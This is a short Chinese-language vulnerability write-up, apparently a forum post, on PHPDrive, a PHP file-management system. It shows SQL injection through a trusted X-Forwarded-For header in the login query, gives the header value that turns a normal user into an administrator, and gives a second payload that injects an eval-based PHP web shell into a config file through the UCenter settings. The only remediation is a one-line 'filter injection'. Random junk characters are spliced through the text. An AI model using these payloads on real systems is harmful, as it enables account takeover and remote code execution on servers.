PHPDrive 是一套运行于 PHP 环境的文件管理系统,可以应用于网盘、企业文件管理、学校、团队管理、软件站、文件CMS等# s R4 }% i/ k9 A- s
( {4 A# ^0 r# o+ }& U# Hincludes/user.lib.php! ^# ?, L% _% o1 P2 l
行87
& a% s; g' \2 X6 t! ~ function get_ip() {; b c' Y- }; J) S
if(isset($_SERVER["HTTP_X_FORWARDED_FOR"])&&$_SERVER["HTTP_X_FORWARDED_FOR"]) $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];.
1 q5 p6 u1 T- i; [在用户注册与登录 处module/disk/account.lead.php& M8 O, [. X* ^4 x/ ^* e) i+ z! O+ P
198行 " f. @, E: ?; ~7 m6 I; n% Q
//更新本次登录IP和时间
" ?8 L. ~ ^7 x: y4 R j $db->Query(‘UPDATE `’.$db->TPre.’user` SET `before_last_date` = ‘.$UserArr['last_date'].’,`last_date` = ‘.$NowUnixTime.’,`before_last_ip` = “‘.$UserArr['last_ip'].’”,`last_ip` = “‘.get_ip().’” WHERE `uid` = ‘.$UserArr['uid'].’;');//get_ip()入库注入产生2 H, r* Y* f: }
由于本套程序user与manager是存在于同一个表下的,只是用group字段来区分两者,group=1为管理员,2则为普通用户。所以可以利用以上注入,将普通用户的group值改为1,即可提升权限* d8 Q1 e, o: a5 I$ n4 {
实现方法:使用firefox的一款插件x-forwarded-for Header 1.0,将你的IP地址改为123″,`group`=”1然后登陆,这时候你就是管理员了.( F- g. C" g) k2 w* b1 Q9 a
后台getshell:
" u) B6 s: K |4 n8 k在UCenter设置处,将UC数据库登录名填写为
5 N8 X$ _+ V- f1 V
- p$ o3 [- {& I. e5 w1 R$ @/ U' croot’);eval($_POST[DisKill]);?>/*6 Q: H; L% J, L) L7 B7 B
可以得到一个shell,位置在 data/uc.data.php( i0 @! |4 r3 t3 P' J
y9 n$ J# z6 ^. ]2 Y- g' H* Z
修复:过滤注入
6 `: S# d- R6 K p1 X4 Q; S/ ]
; g) k5 s9 Y/ [ |